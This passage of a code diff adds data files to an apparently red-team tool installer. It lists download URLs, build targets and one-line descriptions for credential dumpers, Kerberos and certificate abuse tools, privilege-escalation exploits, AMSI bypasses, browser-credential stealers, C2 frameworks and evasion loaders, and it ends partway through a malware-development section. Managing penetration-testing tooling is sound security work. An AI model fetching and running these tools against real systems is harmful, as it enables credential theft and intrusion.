+ "dest_dir": "tools/windows/kerberos",
+ "transfer": True,
+ "assets": {
+ ("windows", "amd64"): [("KrbRelayUp.exe", "https://github.com/Dec0ne/KrbRelayUp/releases/latest/download/KrbRelayUp.exe")],
+ },
+ },
+
+ # ββ New cross-platform tooling (arch-aware) ββββββββββββββββββββββββββββββ
+ "gitleaks": {
+ "description": "Secret scanner for git repos & files",
+ "dest_dir": "tools/web/scanners/gitleaks",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [("gitleaks_linux_x64.tar.gz", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_linux_x64.tar.gz")],
+ ("linux", "arm64"): [("gitleaks_linux_arm64.tar.gz", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_linux_arm64.tar.gz")],
+ ("linux", "armv7"): [("gitleaks_linux_armv7.tar.gz", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_linux_armv7.tar.gz")],
+ ("darwin", "amd64"): [("gitleaks_darwin_x64.tar.gz", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_darwin_x64.tar.gz")],
+ ("darwin", "arm64"): [("gitleaks_darwin_arm64.tar.gz", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_darwin_arm64.tar.gz")],
+ ("windows", "amd64"): [("gitleaks_windows_x64.zip", "https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.18.4_windows_x64.zip")],
+ },
+ },
+ "trivy": {
+ "description": "Container / IaC / filesystem vulnerability scanner",
+ "dest_dir": "tools/container/scanners/trivy",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [("trivy_Linux-64bit.tar.gz", "https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.53.0_Linux-64bit.tar.gz")],
+ ("linux", "arm64"): [("trivy_Linux-ARM64.tar.gz", "https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.53.0_Linux-ARM64.tar.gz")],
+ ("darwin", "amd64"): [("trivy_macOS-64bit.tar.gz", "https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.53.0_macOS-64bit.tar.gz")],
+ ("darwin", "arm64"): [("trivy_macOS-ARM64.tar.gz", "https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.53.0_macOS-ARM64.tar.gz")],
+ },
+ },
+ "cloudfox": {
+ "description": "Cloud attack-surface enumeration (AWS/Azure/GCP)",
+ "dest_dir": "tools/cloud/cloudfox",
+ "transfer": True,
+ "assets": {
+ ("linux", "amd64"): [("cloudfox-linux-amd64.zip", "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip")],
+ ("linux", "arm64"): [("cloudfox-linux-arm64.zip", "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-arm64.zip")],
+ ("darwin", "amd64"): [("cloudfox-macos-amd64.zip", "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-macos-amd64.zip")],
+ ("darwin", "arm64"): [("cloudfox-macos-arm64.zip", "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-macos-arm64.zip")],
+ ("windows", "amd64"): [("cloudfox-windows-amd64.zip", "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-windows-amd64.zip")],
+ },
+ },
+ "gowitness": {
+ "description": "Web screenshot / recon utility",
+ "dest_dir": "tools/web/scanners/gowitness",
+ "transfer": True,
+ "assets": {23 more lines not shown.
voidwalker/data/build_targets.py
new file mode 100644
@@ -0,0 +1,234 @@
+"""C# tools compiled from source via dotnet build."""
+
+BUILD_TARGETS = {
+ "Rubeus": {
+ "repo": "https://github.com/GhostPack/Rubeus.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Kerberos abuse toolkit",
+ },
+ "Seatbelt": {
+ "repo": "https://github.com/GhostPack/Seatbelt.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Security enumeration",
+ },
+ "Certify": {
+ "repo": "https://github.com/GhostPack/Certify.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "ADCS enumeration & abuse",
+ },
+ "SharpUp": {
+ "repo": "https://github.com/GhostPack/SharpUp.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Privilege escalation checks",
+ },
+ "SharpDPAPI": {
+ "repo": "https://github.com/GhostPack/SharpDPAPI.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "DPAPI secrets extraction",
+ },
+ "ForgeCert": {
+ "repo": "https://github.com/GhostPack/ForgeCert.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Certificate forgery",
+ },
+ "SharpWMI": {
+ "repo": "https://github.com/GhostPack/SharpWMI.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "WMI execution & lateral movement",
+ },
+ "KrbRelay": {
+ "repo": "https://github.com/cube0x0/KrbRelay.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Kerberos relay attacks",
+ },
+ "KrbRelayUp": {
+ "repo": "https://github.com/Dec0ne/KrbRelayUp.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Kerberos relay privilege escalation",
+ },
+ "ADSearch": {
+ "repo": "https://github.com/tomcarver16/ADSearch.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "AD enumeration via LDAP",
+ },
+ "StandIn": {
+ "repo": "https://github.com/FuzzySecurity/StandIn.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "AD post-compromise toolkit",
+ },
+ "Whisker": {
+ "repo": "https://github.com/eladshamir/Whisker.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Shadow Credentials attack",
+ },
+ "SharpSploit": {
+ "repo": "https://github.com/cobbr/SharpSploit.git",
+ "framework": "netstandard2.0",
+ "type": "sln",
+ "description": "Post-exploitation library",
+ },
+ "SharpKatz": {
+ "repo": "https://github.com/b4rtik/SharpKatz.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "C# Mimikatz port (sekurlsa)",
+ },
+ "SharpView": {
+ "repo": "https://github.com/tevora-threat/SharpView.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "C# port of PowerView",
+ },
+ "SharPersist": {
+ "repo": "https://github.com/mandiant/SharPersist.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Persistence toolkit",
+ },
+ "SharpSecDump": {
+ "repo": "https://github.com/G0ldenGunSec/SharpSecDump.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Remote SAM + LSA secrets dump",
+ },
+ "SQLRecon": {
+ "repo": "https://github.com/skahwah/SQLRecon.git",
+ "framework": "net6.0",
+ "type": "csproj",
+ "description": "SQL Server post-exploitation",
+ },
+ "Snaffler": {
+ "repo": "https://github.com/SnaffCon/Snaffler.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Credential hunting across shares",
+ },
+ "InternalMonologue": {
+ "repo": "https://github.com/eladshamir/Internal-Monologue.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "NetNTLM hash extraction",
+ },
+ "SpoolSample": {
+ "repo": "https://github.com/leechristensen/SpoolSample.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Print spooler coercion",
+ },
+ # SharpCollection Nightly Roster additions
+ "ADCollector": {
+ "repo": "https://github.com/dev-2null/ADCollector.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "AD enumeration & data collector",
+ },
+ "ADCSPwn": {
+ "repo": "https://github.com/bats3c/ADCSPwn.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "ADCS ESC1 exploitation",
+ },
+ "ADFSDump": {
+ "repo": "https://github.com/mandiant/ADFSDump.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "ADFS configuration dumper",
+ },
+ "AtYourService": {
+ "repo": "https://github.com/mitchmoser/AtYourService.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Service enumeration across domain",
+ },
+ "BetterSafetyKatz": {
+ "repo": "https://github.com/Flangvik/BetterSafetyKatz.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Dynamic Mimikatz loader via DInvoke",
+ },
+ "EDD": {
+ "repo": "https://github.com/FortyNorthSecurity/EDD.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Enumerate Domain Data",
+ },
+ "PassTheCert": {
+ "repo": "https://github.com/AlmondOffSec/PassTheCert.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Certificate-based authentication abuse",
+ },
+ "PurpleSharp": {
+ "repo": "https://github.com/mvelazc0/PurpleSharp.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Adversary simulation tool",
+ },
+ "SafetyKatz": {
+ "repo": "https://github.com/GhostPack/SafetyKatz.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Safe Mimikatz via minidump",
+ },
+ "SauronEye": {
+ "repo": "https://github.com/vivami/SauronEye.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "File share search tool",
+ },
+ "SearchOutlook": {
+ "repo": "https://github.com/RedLectroid/SearchOutlook.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Outlook email search",
+ },
+ "SharpAllowedToAct": {
+ "repo": "https://github.com/pkb1s/SharpAllowedToAct.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "RBCD exploitation",
+ },
+ "SharpChrome": {
+ "repo": "https://github.com/GhostPack/SharpDPAPI.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Chrome credential extraction",
+ },
+ "SharpHound": {
+ "repo": "https://github.com/BloodHoundAD/SharpHound.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "BloodHound AD collector",
+ },
+ "SharpSCCM": {
+ "repo": "https://github.com/Mayyhem/SharpSCCM.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "SCCM recon & abuse",
+ },
+ "RunAs": {
+ "repo": "https://github.com/Flangvik/SharpCollection.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "Run process as another user",
+ },
+ "scout": {
+ "repo": "https://github.com/jaredhaight/scout.git",
+ "framework": "net462",
+ "type": "sln",
+ "description": "AD recon & graph builder",
+ },
+}
+voidwalker/data/catalog.py
new file mode 100644
@@ -0,0 +1,472 @@
+"""Tool categories used by the menu-driven installer."""
+
+TOOL_CATEGORIES = {
+ "Windows Binaries": {
+ "description": "Mimikatz, Rubeus, SharpHound, Inveigh, GhostPack tools, and more",
+ "tools": [
+ ("SharpCollection", "git", "https://github.com/Flangvik/SharpCollection.git", "Pre-compiled .NET arsenal (Rubeus, Seatbelt, etc.)"),
+ ("Mimikatz", "zip", "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip", "Credential dumping tool"),
+ ("LaZagne", "file", "https://github.com/AlessandroZ/LaZagne/releases/latest/download/LaZagne.exe", "Multi-platform credential recovery"),
+ ("PrintSpoofer64", "file", "https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe", "Privilege escalation"),
+ ("GodPotato-NET4", "file", "https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe", "Potato privilege escalation"),
+ ("JuicyPotatoNG", "zip", "https://github.com/antonioCoco/JuicyPotatoNG/releases/latest/download/JuicyPotatoNG.zip", "Potato privilege escalation"),
+ ("RunasCs", "zip", "https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip", "RunAs alternative"),
+ ("winPEASx64", "file", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe", "Windows privilege escalation"),
+ ("winPEASx86", "file", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx86.exe", "Windows privilege escalation (32-bit)"),
+ ("Rubeus", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe", "Kerberos abuse toolkit"),
+ ("Seatbelt", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Seatbelt.exe", "Security enumeration"),
+ ("SharpUp", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpUp.exe", "Privilege escalation checks"),
+ ("SharpDPAPI", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDPAPI.exe", "DPAPI secrets extraction"),
+ ("SafetyKatz", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SafetyKatz.exe", "Safe Mimikatz"),
+ ("SharpHound", "file", "https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.exe", "BloodHound collector"),
+ ("Inveigh", "file", "https://github.com/Kevin-Robertson/Inveigh/releases/latest/download/Inveigh.exe", "LLMNR/NBNS poisoning"),
+ ("Snaffler", "file", "https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe", "Credential hunting"),
+ ("KrbRelayUp", "file", "https://github.com/Dec0ne/KrbRelayUp/releases/latest/download/KrbRelayUp.exe", "Kerberos relay"),
+ ("Certify", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Certify.exe", "ADCS abuse"),
+ ("SharpGPOAbuse", "file", "https://github.com/FSecureLABS/SharpGPOAbuse/releases/download/1.0/SharpGPOAbuse.exe", "GPO abuse"),
+ ("nanodump", "file", "https://github.com/fortra/nanodump/releases/latest/download/nanodump.x64.exe", "LSASS dumper"),
+ ("nc64", "file", "https://github.com/int0x33/nc.exe/raw/master/nc64.exe", "Netcat for Windows"),
+ ("accesschk64", "file", "https://live.sysinternals.com/accesschk64.exe", "Access check utility"),
+ ("PsExec64", "file", "https://live.sysinternals.com/PsExec64.exe", "Remote execution"),
+ ("procdump64", "file", "https://live.sysinternals.com/procdump64.exe", "Process dump utility"),
+ # Additional AD / Post-Exploitation Tools
+ ("SharpChrome", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpChrome.exe", "Chrome credential extraction"),
+ ("SharpDump", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDump.exe", "Process minidump (LSASS)"),
+ ("SharpWMI", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpWMI.exe", "WMI lateral movement"),
+ ("LockLess", "file", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/LockLess.exe", "Locked file access"),
+ ("SharpKatz", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpKatz.exe", "C# Mimikatz sekurlsa"),
+ ("BetterSafetyKatz", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/BetterSafetyKatz.exe", "Dynamic Mimikatz loader"),
+ ("ADFSDump", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ADFSDump.exe", "ADFS config dumper"),
+ ("SharpNamedPipePTH", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpNamedPipePTH.exe", "PtH via named pipes"),
+ ("SharpSpray", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpSpray.exe", "AD password sprayer"),
+ ("ThunderFox", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ThunderFox.exe", "Firefox/Thunderbird creds"),
+ ("SharpHandler", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpHandler.exe", "Token impersonation handler"),
+ ("ADCSPwn", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ADCSPwn.exe", "ADCS ESC1 exploitation"),
+ ("SharpSQLPwn", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpSQL4.exe", "SQL Server exploitation"),
+ # SharpCollection Nightly Roster (2026)
+ ("ADCollector", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ADCollector.exe", "AD enumeration & data collector"),
+ ("ADSearch", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ADSearch.exe", "AD LDAP query tool"),
+ ("AtYourService", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/AtYourService.exe", "Service enumeration"),
+ ("EDD", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/EDD.exe", "Enumerate Domain Data"),
+ ("ForgeCert", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/ForgeCert.exe", "Certificate forgery"),
+ ("PassTheCert", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/PassTheCert.exe", "Certificate-based auth abuse"),
+ ("PurpleSharp", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/PurpleSharp.exe", "Adversary simulation"),
+ ("RunAs", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/RunAs.exe", "Run process as another user"),
+ ("SauronEye", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SauronEye.exe", "File share search tool"),
+ ("scout", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/scout.exe", "AD recon & graph builder"),
+ ("SearchOutlook", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SearchOutlook.exe", "Outlook email search"),
+ ("SharpAllowedToAct", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpAllowedToAct.exe", "RBCD exploitation"),
+ ("SharpSCCM", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpSCCM.exe", "SCCM recon & abuse"),
+ ("SharpView", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SharpView.exe", "C# PowerView port"),
+ ("StandIn", "file", "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/StandIn.exe", "AD post-compromise toolkit"),
+ ],
+ "repos": [
+ ("GhostPack-Compiled", "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git"),
+ ("Inveigh-Repo", "https://github.com/Kevin-Robertson/Inveigh.git"),
+ ("KrbRelay", "https://github.com/cube0x0/KrbRelay.git"),
+ ("KrbRelayUp", "https://github.com/Dec0ne/KrbRelayUp.git"),
+ ("Certify", "https://github.com/GhostPack/Certify.git"),
+ ("ForgeCert", "https://github.com/GhostPack/ForgeCert.git"),
+ ("PassTheCert", "https://github.com/AlmondOffSec/PassTheCert.git"),
+ ("PKINITtools", "https://github.com/dirkjanm/PKINITtools.git"),
+ ("PetitPotam", "https://github.com/topotam/PetitPotam.git"),
+ ("DFSCoerce", "https://github.com/Wh04m1001/DFSCoerce.git"),
+ ("Coercer", "https://github.com/p0dalirius/Coercer.git"),
+ ("ShadowCoerce", "https://github.com/ShutdownRepo/ShadowCoerce.git"),
+ ("SharpWMI", "https://github.com/GhostPack/SharpWMI.git"),
+ ("SharpRDP", "https://github.com/0xthirteen/SharpRDP.git"),
+ ("SharpMove", "https://github.com/0xthirteen/SharpMove.git"),
+ ("SCShell", "https://github.com/Mr-Un1k0d3r/SCShell.git"),
+ ("SharpView", "https://github.com/tevora-threat/SharpView.git"),
+ ("ADSearch", "https://github.com/tomcarver16/ADSearch.git"),
+ ("ADRecon", "https://github.com/adrecon/ADRecon.git"),
+ ("Snaffler", "https://github.com/SnaffCon/Snaffler.git"),
+ ("StandIn", "https://github.com/FuzzySecurity/StandIn.git"),
+ ("SharpGPOAbuse", "https://github.com/FSecureLABS/SharpGPOAbuse.git"),
+ ("SharPersist", "https://github.com/mandiant/SharPersist.git"),
+ ("AMSI-Bypass", "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git"),
+ ("Invisi-Shell", "https://github.com/OmerYa/Invisi-Shell.git"),
+ ("Donut", "https://github.com/TheWover/donut.git"),
+ ("Whisker", "https://github.com/eladshamir/Whisker.git"),
+ ("SharpChromium", "https://github.com/djhohnstein/SharpChromium.git"),
+ ("SharpSecDump", "https://github.com/G0ldenGunSec/SharpSecDump.git"),
+ ("SharpLAPS", "https://github.com/swisskyrepo/SharpLAPS.git"),
+ ("noPac", "https://github.com/Ridter/noPac.git"),
+ ("SharpSCCM", "https://github.com/Mayyhem/SharpSCCM.git"),
+ ("InternalMonologue", "https://github.com/eladshamir/Internal-Monologue.git"),
+ ("SpoolSample", "https://github.com/leechristensen/SpoolSample.git"),
+ ("SQLRecon", "https://github.com/skahwah/SQLRecon.git"),
+ ("DAFT", "https://github.com/NetSPI/DAFT.git"),
+ ("MailSniper", "https://github.com/dafthack/MailSniper.git"),
+ ("ruler", "https://github.com/sensepost/ruler.git"),
+ ("PrivExchange", "https://github.com/dirkjanm/PrivExchange.git"),
+ ("krbrelayx", "https://github.com/dirkjanm/krbrelayx.git"),
+ ("mitm6", "https://github.com/dirkjanm/mitm6.git"),
+ ("RemotePotato0", "https://github.com/antonioCoco/RemotePotato0.git"),
+ # Source repos for C# building (see BUILD_TARGETS)
+ ("Rubeus-Source", "https://github.com/GhostPack/Rubeus.git"),
+ ("Seatbelt-Source", "https://github.com/GhostPack/Seatbelt.git"),
+ ("SharpUp-Source", "https://github.com/GhostPack/SharpUp.git"),
+ ("SharpDPAPI-Source", "https://github.com/GhostPack/SharpDPAPI.git"),
+ ("SharpSploit", "https://github.com/cobbr/SharpSploit.git"),
+ ("SharpKatz-Source", "https://github.com/b4rtik/SharpKatz.git"),
+ ("BetterSafetyKatz-Source", "https://github.com/Flangvik/BetterSafetyKatz.git"),
+ ("SharpImpersonation", "https://github.com/S3cur3Th1sSh1t/SharpImpersonation.git"),
+ ("SharpBlock", "https://github.com/CCob/SharpBlock.git"),
+ ("SharpPrinter", "https://github.com/rvrsh3ll/SharpPrinter.git"),
+ ("ADFSDump-Source", "https://github.com/mandiant/ADFSDump.git"),
+ ("ADCSPwn-Source", "https://github.com/bats3c/ADCSPwn.git"),
+ ("TokenStomp", "https://github.com/MartinIngworthy/TokenStomp.git"),
+ ("SharpScribbles", "https://github.com/V1V1/SharpScribbles.git"),
+ # C# Offensive / Post-Exploitation extras
+ ("SharpSploitConsole", "https://github.com/anthemtotheego/SharpSploitConsole.git"),
+ ("SharpCradle", "https://github.com/anthemtotheego/SharpCradle.git"),
+ ("InlineExecute-Assembly", "https://github.com/anthemtotheego/InlineExecute-Assembly.git"),
+ ("SharpAttack", "https://github.com/jnqpblc/SharpAttack.git"),
+ ("Elite", "https://github.com/cobbr/Elite.git"),
+ ("SharpGen", "https://github.com/cobbr/SharpGen.git"),
+ ("PSAmsi", "https://github.com/cobbr/PSAmsi.git"),
+ ("KyleEvers-SharpCollection", "https://github.com/KyleEvers/SharpCollection.git"),
+ # AD Recon / Exploitation extras
+ ("SharpZeroLogon", "https://github.com/buffaloverflow/SharpZeroLogon.git"),
+ ("TruffleSnout", "https://github.com/dsnezhkov/TruffleSnout.git"),
+ ("SharpSniper", "https://github.com/HunnicCyber/SharpSniper.git"),
+ ("PingCastle", "https://github.com/vletoux/pingcastle.git"),
+ ("linWinPwn", "https://github.com/lefayjey/linWinPwn.git"),
+ ("Misconfiguration-Manager", "https://github.com/subat0mik/Misconfiguration-Manager.git"),
+ ("sccmhunter", "https://github.com/garrettfoster13/sccmhunter.git"),
+ ("adidnsdump", "https://github.com/dirkjanm/adidnsdump.git"),
+ ("WMIOps", "https://github.com/FortyNorthSecurity/WMIOps.git"),
+ # Host Recon / Privilege Escalation extras
+ ("SharpExec", "https://github.com/anthemtotheego/SharpExec.git"),
+ ("SharpFiles", "https://github.com/fullmetalcache/SharpFiles.git"),
+ ("SharpSvc", "https://github.com/jnqpblc/SharpSvc.git"),
+ ("SharpTask", "https://github.com/jnqpblc/SharpTask.git"),
+ ("SweetPotato", "https://github.com/CCob/SweetPotato.git"),
+ ("SharpEDRChecker", "https://github.com/PwnDexter/SharpEDRChecker.git"),
+ # Credential / LSASS extras
+ ("SharpWifiGrabber", "https://github.com/r3nhat/SharpWifiGrabber.git"),
+ ("SharpLocker", "https://github.com/Pickfordmatt/SharpLocker.git"),
+ ("HandleKatz", "https://github.com/codewhitesec/HandleKatz.git"),
+ ("Lsass-Shtinkering", "https://github.com/deepinstinct/Lsass-Shtinkering.git"),
+ ("ThunderFox-Source", "https://github.com/V1V1/ThunderFox.git"),
+ # Chrome / Browser Data Extraction
+ ("ChromeKatz", "https://github.com/Meckazin/ChromeKatz.git"),
+ ("HackBrowserData", "https://github.com/moonD4rk/HackBrowserData.git"),
+ ("ChromeDumper", "https://github.com/nicehash/ChromeDumper.git"),
+ ("chrome-bypass", "https://github.com/nicehash/chrome-bypass.git"),
+ ("chrome_v20_decryption", "https://github.com/nicehash/chrome_v20_decryption.git"),
+ ]
+ },
+ "Active Directory": {
+ "description": "Modern Python AD-attack tooling (Kerberos, ADCS, ACL/GPO abuse)",
+ "repos": [
+ ("gMSADumper", "https://github.com/micahvandeusen/gMSADumper.git"),
+ ("targetedKerberoast", "https://github.com/ShutdownRepo/targetedKerberoast.git"),
+ ("pywhisker", "https://github.com/ShutdownRepo/pywhisker.git"),
+ ("pyGPOAbuse", "https://github.com/Hackndo/pyGPOAbuse.git"),
+ ("ldap_shell", "https://github.com/PShlyundin/ldap_shell.git"),
+ ("GPOddity", "https://github.com/synacktiv/GPOddity.git"),
+ ]
+ },
+ "PowerShell Scripts": {
+ "description": "PowerSploit, Nishang, PowerView, PrivescCheck, AMSI bypasses",
+ "repos": [
+ ("PowerSploit", "https://github.com/PowerShellMafia/PowerSploit.git"),
+ ("nishang", "https://github.com/samratashok/nishang.git"),
+ ("Powermad", "https://github.com/Kevin-Robertson/Powermad.git"),
+ ("ADModule", "https://github.com/samratashok/ADModule.git"),
+ ("PowerUpSQL", "https://github.com/NetSPI/PowerUpSQL.git"),
+ ("Invoke-TheHash", "https://github.com/Kevin-Robertson/Invoke-TheHash.git"),
+ ("PrivescCheck", "https://github.com/itm4n/PrivescCheck.git"),
+ ("AMSI-Bypass-PS", "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git"),
+ # Additional PowerShell AD modules
+ ("PowerView-Dev", "https://github.com/HarmJ0y/PowerView.git"),
+ ("Invoke-Mimikatz", "https://github.com/clymb3r/PowerShell.git"),
+ ("Get-GPPPassword", "https://github.com/PowerShellMafia/PowerSploit.git"),
+ ("Invoke-Portscan", "https://github.com/PowerShellMafia/PowerSploit.git"),
+ ("PowerSharpPack", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack.git"),
+ ("Invoke-Obfuscation", "https://github.com/danielbohannon/Invoke-Obfuscation.git"),
+ ],
+ "files": [
+ ("jaws-enum.ps1", "https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1"),
+ ("SharpHound.ps1", "https://github.com/BloodHoundAD/SharpHound/releases/latest/download/SharpHound.ps1"),
+ ("PowerView.ps1", "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1"),
+ ("Invoke-Kerberoast.ps1", "https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1"),
+ ]
+ },
+ "Linux Tools": {
+ "description": "linPEAS, LinEnum, pspy, exploit suggesters, static binaries",
+ "files": [
+ ("linpeas.sh", "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"),
+ ("LinEnum.sh", "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"),
+ ("lse.sh", "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh"),
+ ("pspy64", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64"),
+ ("pspy32", "https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32"),
+ ("nmap_static", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap"),
+ ("socat_static", "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat"),
+ ],
+ "repos": [
+ ("linux-exploit-suggester", "https://github.com/mzet-/linux-exploit-suggester.git"),
+ ("linux-exploit-suggester-2", "https://github.com/jondonas/linux-exploit-suggester-2.git"),
+ ]
+ },
+ "Pivoting Tools": {
+ "description": "Chisel, Ligolo-ng, plink, rpivot, Stowaway, Neo-reGeorg",
+ "files": [
+ ("plink.exe", "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe"),
+ ],
+ "repos": [
+ ("rpivot", "https://github.com/klsecservices/rpivot.git"),
+ ("revsocks", "https://github.com/kost/revsocks.git"),
+ ("Stowaway", "https://github.com/ph4ntonn/Stowaway.git"),
+ ("Neo-reGeorg", "https://github.com/L-codes/Neo-reGeorg.git"),
+ ],
+ "special": ["chisel", "ligolo-ng"]
+ },
+ "C2 Frameworks": {
+ "description": "Havoc, Sliver, Villain, Mythic, Covenant, PoshC2, Merlin",
+ "repos": [
+ ("Havoc", "https://github.com/HavocFramework/Havoc.git"),
+ ("Sliver", "https://github.com/BishopFox/sliver.git"),
+ ("Villain", "https://github.com/t3l3machus/Villain.git"),
+ ("Mythic", "https://github.com/its-a-feature/Mythic.git"),
+ ("Covenant", "https://github.com/cobbr/Covenant.git"),
+ ("PoshC2", "https://github.com/nettitude/PoshC2.git"),
+ ("SILENTTRINITY", "https://github.com/byt3bl33d3r/SILENTTRINITY.git"),
+ ("Merlin", "https://github.com/Ne0nd0g/merlin.git"),
+ ("SharpC2", "https://github.com/rasta-mouse/SharpC2.git"),
+ ("Hoaxshell", "https://github.com/t3l3machus/hoaxshell.git"),
+ ("Empire", "https://github.com/BC-SECURITY/Empire.git"),
+ ("Metasploit", "https://github.com/rapid7/metasploit-framework.git"),
+ ]
+ },
+ "Maldev Tools": {
+ "description": "Syscall loaders, process injection, evasion, crypters",
+ "repos": [
+ ("HellsGate", "https://github.com/am0nsec/HellsGate.git"),
